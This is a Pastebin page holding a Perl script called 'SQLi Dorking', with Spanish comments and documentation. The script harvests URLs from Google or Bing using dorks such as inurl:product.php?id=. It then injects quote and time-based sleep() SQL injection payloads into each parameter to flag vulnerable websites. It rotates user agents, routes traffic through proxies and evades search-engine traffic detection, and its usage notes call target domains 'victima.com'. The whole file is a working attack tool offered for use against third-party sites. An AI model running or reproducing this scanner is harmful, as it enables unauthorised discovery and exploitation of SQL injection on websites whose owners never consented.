Advertisement
Googleinurl

sqliDorking BING E GOOGLE

Jan 3rd, 2014
1,529
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 9.76 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #################################
  4. #   SQLi Dorking                #
  5. #   Autor: Crozz Cyborg         #
  6. #                               #
  7. #  Copyright 2013 Crozz Cyborg  #
  8. #################################
  9.  
  10. use strict;
  11. $| = 1;
  12. $SIG{'INT'} = \&Interrupt;
  13.  
  14. # Modulos/Librerias
  15. use HTTP::Request;
  16. use LWP::UserAgent;
  17. use Getopt::Long;
  18. use Benchmark;
  19. use POSIX;
  20. use threads;
  21. use Time::HiRes "usleep";
  22.  
  23. # Variables
  24. my @UserAgents = (
  25. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0',
  26. 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0',
  27. 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0',
  28. 'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
  29. 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)',
  30. 'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
  31. 'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
  32. 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14');
  33.  
  34. my ($Dork,$BingDork,$List,$NumPaginas,$FileLinks,$Proxy);
  35. my $proceso;
  36.  
  37. my $result = GetOptions(
  38.                 'gd=s'  => \$Dork,
  39.                 'bd=s'  => \$BingDork,
  40.                 'l=s'   => \$List,
  41.                 'p=s'   => \$NumPaginas,
  42.                 'f=s'   => \$FileLinks,
  43.                 'prx=s' => \$Proxy);
  44.  
  45. # INI Funciones
  46.  
  47. sub Uso(){
  48.     die <<EOTXT;
  49. \rUso: $0 [-d dork] -p <paginas> [-l archivo.txt]  [-f archivo]
  50.   -gd <Dork>
  51.       Google Dork
  52.   -bd <Bing>
  53.       Bing Dork
  54.   -l <Archivo>
  55.       Archivo con links para analizar
  56.   -p <paginas>
  57.       Numero de paginas para buscar
  58.   -f <archivo>
  59.       Archivo donde se guardaran los logs
  60.  
  61. Ejemplo: $0 -d inurl:product.php?id= -p 3
  62.  
  63. Mas informacion escribe: perldoc $0
  64. EOTXT
  65. }
  66.  
  67. sub LinksByDork(){
  68.     my @Links;
  69.     my $Paginas = $Dork ? 0 : 1;
  70.     my ($carga,$porcentaje) = ("",0);
  71.     $proceso = 'dork';
  72.  
  73.     print "Dork: $Dork$BingDork\n";
  74.  
  75.     foreach(my $pag = 0;$pag <= $NumPaginas;$pag++){
  76.         my ($HTML,$Link,@Data);
  77.  
  78.         printf("\r[%-50s] %3i%%",$carga,$porcentaje < 100 ? ceil($porcentaje) : floor($porcentaje));
  79.         $porcentaje += (100/$NumPaginas);
  80.         $carga = "=" x ($porcentaje < 100 ? ceil($porcentaje)/2 : floor($porcentaje)/2);
  81.  
  82.         if($Dork){
  83.             $HTML = &Navegar('http://www.google.com/search?q='.$Dork.'&start='.$Paginas,$Proxy);
  84.         }
  85.         elsif($BingDork){
  86.             $HTML = &Navegar('http://www.bing.com/search?q='.$BingDork.'&first='.$Paginas,$Proxy);
  87.         }
  88.  
  89.         if($HTML =~ m/Our systems have detected unusual traffic from your computer/i){
  90.             $HTML =~ /IP address\: (\S+)\<br/i;
  91.             print "\rDetectado trafico \"inusual\" de la IP $1\ncambiala para continuar [(C)ambiar a Bing/(Q)uitar/Continuar[Enter]] ";
  92.             chomp(my $CQ = <STDIN>);
  93.             if($CQ =~ /q/i){
  94.                 if($#Links > 0){
  95.                     @Links = &EliminarRep(@Links);
  96.                     return @Links
  97.                 }else{exit}
  98.             }
  99.             elsif($CQ =~ /c/i){
  100.                 $BingDork = $Dork;
  101.                 $Dork = 0;
  102.                 $Paginas += 1;
  103.                 $HTML = &Navegar('http://www.bing.com/search?q='.$BingDork.'&first='.$Paginas,$Proxy);
  104.             }
  105.             else{
  106.                 print "Continuando...\n";
  107.                 $pag--;
  108.                 next
  109.             }
  110.         }
  111.  
  112.         if($Dork){
  113.             @Data = $HTML =~ m/href="\/url\?q=([-.:%?=&\/\w]+)\&amp;sa=U&amp;/gi;
  114.         }
  115.         elsif($BingDork){
  116.             @Data = $HTML =~ /<h3><a href="([-.:%?=&\/\w]+)"/mgi;
  117.         }
  118.  
  119.         foreach $Link(@Data){
  120.             if($Link !~ m/google.com/i && $Link !~ m/googleusercontent.com/i && $Link !~ m/msn.com/i && ($Link =~ m/\%3[fF]\w+%3[dD]\w+/ || $Link =~ /\?\w+=\w+/)){
  121.                 $Link =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  122.                 $Link =~ s/https:\/\//http:\/\//g;
  123.  
  124.                 push(@Links,$Link);
  125.             }
  126.         }
  127.         $Paginas += 10;
  128.     }
  129.  
  130.     print "\n\n";
  131.  
  132.     @Links = &EliminarRep(@Links);
  133.  
  134.     return @Links
  135. }
  136.  
  137. sub LinksByList(){
  138.     my @Links;
  139.     $NumPaginas = 15;
  140.  
  141.     open(LIST,"$List");
  142.  
  143.     while(<LIST>){
  144.         chomp;
  145.         $BingDork = "site:$_";
  146.         push(@Links,LinksByDork());
  147.     }
  148.  
  149.     close(LIST);
  150.  
  151.     return @Links
  152. }
  153.  
  154. sub Navegar(){
  155.     my ($URL,$UseProxy) = @_;
  156.  
  157.     my ($UA,$Req,$Resp,$Contenido);
  158.  
  159.     $UA = LWP::UserAgent->new;
  160.     $UA->agent($UserAgents[int(rand($#UserAgents+1))]);
  161.     $UA->timeout(10);
  162.  
  163.     $URL =~ /^http\:\/\/([\w\.]+)\/*/;
  164.     $UA->default_header('Host' => $1);
  165.     $UA->default_header('Accept' => 'text/html');
  166.     $UA->default_header('Accept-Language' => 'en-US,en;q=0.5');
  167.     $UA->default_header('DNT' => '1');
  168.     $UA->default_header('Connection' => 'close');
  169.  
  170.     $UA->proxy('http' => "http://$UseProxy") if $UseProxy;
  171.  
  172.     $Req = HTTP::Request->new(GET => $URL);
  173.     $Resp = $UA->request($Req);
  174.     $Contenido = $Resp->content();
  175.     return $Contenido
  176. }
  177.  
  178. sub SQL(){
  179.     my $Link = shift;
  180.  
  181.     my @Edit = split('\?',$Link); # Separa variables de la url
  182.     my @Variables = split('&',$Edit[1]); # Separa por pares variable=valor
  183.  
  184.     my %Vars = map {split('=',$_)} @Variables; # Almacena variable = valor en el hash %Vars
  185.  
  186.     my $LinkMod;
  187.     my @HTML = (undef) x 3;
  188.  
  189.     foreach my $Var(keys %Vars){
  190.         $LinkMod = &ModLink($Edit[0],@Variables,$Var," '"); # Se modifica el link para inyectar el codigo ' en la variable $Var
  191.         my $time1 = new Benchmark;
  192.         $HTML[0] = &Navegar($LinkMod);
  193.         my $time2 = new Benchmark;
  194.         my $timeAv = timediff($time2,$time1);
  195.  
  196.         if($HTML[0] =~ m/You have an error in your SQL syntax/i){
  197.             my @Ret = ($Link,$Var,"'",$$timeAv[0]);
  198.             return \@Ret;
  199.         }
  200.         elsif($HTML[0] =~ m/supplied argument is not a valid MySQL/i){
  201.             my @Ret = ($Link,$Var,"'",$$timeAv[0]);
  202.             return \@Ret;
  203.         }
  204.  
  205.         return 0 if($$timeAv[0] >= 40);
  206.         $$timeAv[0] = 40 if($$timeAv[0] >= 10);
  207.  
  208.         foreach(("' and sleep(".($$timeAv[0]+20).") and '1' = '1"," and sleep(".($$timeAv[0]+20).") and 1 = 1")){
  209.             $LinkMod = &ModLink($Edit[0],@Variables,$Var,$_);
  210.  
  211.             my $time1 = new Benchmark;
  212.             $HTML[0] = &Navegar($LinkMod);
  213.             my $time2 = new Benchmark;
  214.             my $timedif = timediff($time2,$time1);
  215.  
  216.             if($$timedif[0] >= ($$timeAv[0]+20)){
  217.                 my @Ret = ($Link,$Var,$_,$$timedif[0]);
  218.                 return \@Ret;
  219.             }
  220.         }
  221.     }
  222.     return 0
  223. }
  224.  
  225. sub ModLink(){
  226.     my $Host = shift;
  227.     my @Variables = shift;
  228.     my $Var = shift;
  229.     my $Code = shift;
  230.  
  231.     my %Vars = map {split('=',$_)} @Variables;
  232.  
  233.     my $LinkMod = $Host.'?';
  234.  
  235.     foreach (keys %Vars){
  236.         if($Var eq $_){$LinkMod .= "$_=".$Vars{$_}." $Code&";}
  237.         else{$LinkMod .= "$_=".$Vars{$_}."&";}
  238.     }
  239.     chop($LinkMod);
  240.     return $LinkMod;
  241. }
  242.  
  243. sub EliminarRep(){
  244.     my @Links = @_;
  245.     my @HP1;
  246.     my @HP2;
  247.  
  248.     for(my $i = 0;$i <= $#Links;$i++){
  249.         @HP1 = split('\?',$Links[$i]);
  250.         for(my $x = $i;$x <= $#Links;$x++){
  251.             @HP2 = split('\?',$Links[$x]);
  252.             if($i != $x && $HP1[0] eq $HP2[0]){
  253.                 splice(@Links,$x,1);
  254.                 $x-- if $x != 0;
  255.             }
  256.         }
  257.     }
  258.  
  259.     return @Links;
  260. }
  261.  
  262. sub Logs(){
  263.     if(open(LOGS,">>${$_[0]}")){
  264.         print LOGS "$_[1]\n";
  265.         close(LOGS);
  266.     }
  267.     else{
  268.         print "No se puede escribir en el archivo '${$_[0]}' $!";
  269.         print "Especifica otro archivo: ";
  270.         chomp(${$_[0]} = <STDIN>);
  271.     }
  272. }
  273.  
  274. sub Interrupt(){
  275.     print "\n\n1) Cambiar proxy\n2) Cambiar dork\n3) Salir\n\n\$> ";
  276.     chomp(my $resp = <STDIN>);
  277.  
  278.     if($resp == 1){print "Nuevo proxy: ";chomp($Proxy = <STDIN>)}
  279.     elsif($resp == 2){print "Nueva dork: ";chomp($Dork = <STDIN>)}
  280.     elsif($resp == 3){print "Finalizando\n";exit}
  281.     else{print "Opcion invalida\n";}
  282. }
  283.  
  284. # End Funciones
  285.  
  286. sub main(){
  287.     my @Links;
  288.  
  289.     my @LinkSQLi;
  290.     my @t = (4,8,10);
  291.  
  292.     my @c = ("\e[1;32m","\e[0;32m");
  293.     my $nc = 0;
  294.  
  295.     print "Obteniendo links...";
  296.     if($Dork){
  297.         Uso() unless $NumPaginas;
  298.         if($BingDork){
  299.             print "\rSolamente puedes usar un buscador!\n";
  300.             Uso();
  301.         }
  302.         print "\n";push(@Links,LinksByDork());
  303.     }
  304.     elsif($BingDork){
  305.         Uso() unless $NumPaginas;
  306.         if($Dork){
  307.             print "\rSolamente puedes usar un buscador!\n";
  308.             Uso();
  309.         }
  310.         print "\n";push(@Links,LinksByDork());
  311.     }
  312.     elsif($List){
  313.         print "\n";push(@Links,LinksByList());
  314.     }
  315.     else{
  316.         Uso();
  317.     }
  318.  
  319.     print "Escaneando ".($#Links+1)." links...\n\n" if $#Links > 0;
  320.  
  321.     foreach(@Links){
  322.         my $thr1 = threads->create(\&SQL,$_);
  323.  
  324.         while($thr1->is_running()){
  325.             for(("/","-","\\","|")){
  326.                 print $_;
  327.                 usleep(80_000);
  328.                 print "\b";
  329.             }
  330.         }
  331.  
  332.         my $Datos = $thr1->join();
  333.  
  334.         if($Datos){
  335.             foreach(0..2){
  336.                 $t[$_] = length($$Datos[$_]) if($t[$_] < length($$Datos[$_]));
  337.             }
  338.             printf("Link: %s Var: %s Payload: %s Time: %s\n",$$Datos[0],$$Datos[1],$$Datos[2],$$Datos[3]);
  339.             &Logs(\$FileLinks,"Link: $$Datos[0] Var: $$Datos[1] Payload: $$Datos[2]") if $FileLinks;
  340.             push(@LinkSQLi,$Datos);
  341.         }
  342.     }
  343.  
  344.     if(@LinkSQLi){
  345.         printf("\n" x 5);
  346.         printf("+%s+%s+%s+\n","-" x ($t[0]),"-" x ($t[1]),"-" x ($t[2]));
  347.         printf("|\e[0;33mLink%s\e[0m|\e[0;33mVar%s\e[0m|\e[0;33mPayload%s\e[0m|\n"," " x ($t[0]-4)," " x ($t[1]-3)," " x ($t[2]-7));
  348.         printf("+%s+%s+%s+\n","-" x ($t[0]),"-" x ($t[1]),"-" x ($t[2]));
  349.         foreach my $l(@LinkSQLi){
  350.             printf("|$c[$nc % 2]%-${t[0]}s\e[0m|$c[$nc % 2]%-${t[1]}s\e[0m|$c[$nc % 2]%-${t[2]}s\e[0m|\n",$$l[0],$$l[1],$$l[2]);
  351.             $nc++;
  352.         }
  353.         printf("+%s+%s+%s+\n","-" x ($t[0]),"-" x ($t[1]),"-" x ($t[2]));
  354.         system("notify-send \"SQLi Dorking\" \"Escaneo finalizado con ".($#LinkSQLi+1)." vulnerables\" -t 10000");
  355.     }
  356.     else{
  357.         print "No se encontraron paginas vulnerables\n";
  358.     }
  359.  
  360. }
  361.  
  362. main();
  363.  
  364. __END__
  365.  
  366. =head1 Nombre
  367.  
  368. SQLi Dorking
  369.  
  370. =head1 Version
  371.  
  372. Version: 1.0 Beta
  373.  
  374. =head1 Autor
  375.  
  376. Crozz Cyborg
  377.  
  378. =head1 Descripcion
  379.  
  380. Busca paginas vulnerables a SQL (usa google)
  381.  
  382. =head1 Uso
  383.  
  384. sqliDorking.pl [-d/-bd <dork>] -p <paginas> [-l Links.txt]  [-f Logs.txt]
  385.  
  386. =head2 Opciones
  387.  
  388.   -gd <Dork>
  389.       Google Dork
  390.   -bd <Bing>
  391.       Bing Dork
  392.   -l <Archivo>
  393.       Archivo con links para analizar
  394.   -p <paginas>
  395.       Numero de paginas para buscar
  396.   -f <archivo>
  397.       Archivo donde se guardaran los logs
  398.  
  399. =head2 Ejemplos de uso
  400.  
  401. sqliDorking.pl -gd inurl:product.php?id= -p 3 -f VulneSQL.txt
  402.  
  403. sqliDorking.pl -l links.txt -f VulneSQL.txt
  404.  
  405. sqliDorking.pl -bd inurl:product.php?id= -p 3
  406.  
  407. sqliDorking.pl -l links.txt
  408.  
  409. =head2 Archivo Links.txt
  410.  
  411. El archivo links.txt puede tener cualquier otro nombre, en cuanto al formato debe de tener 1 nombre de dominio por linea, ejemplo de dominio: victima.com
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement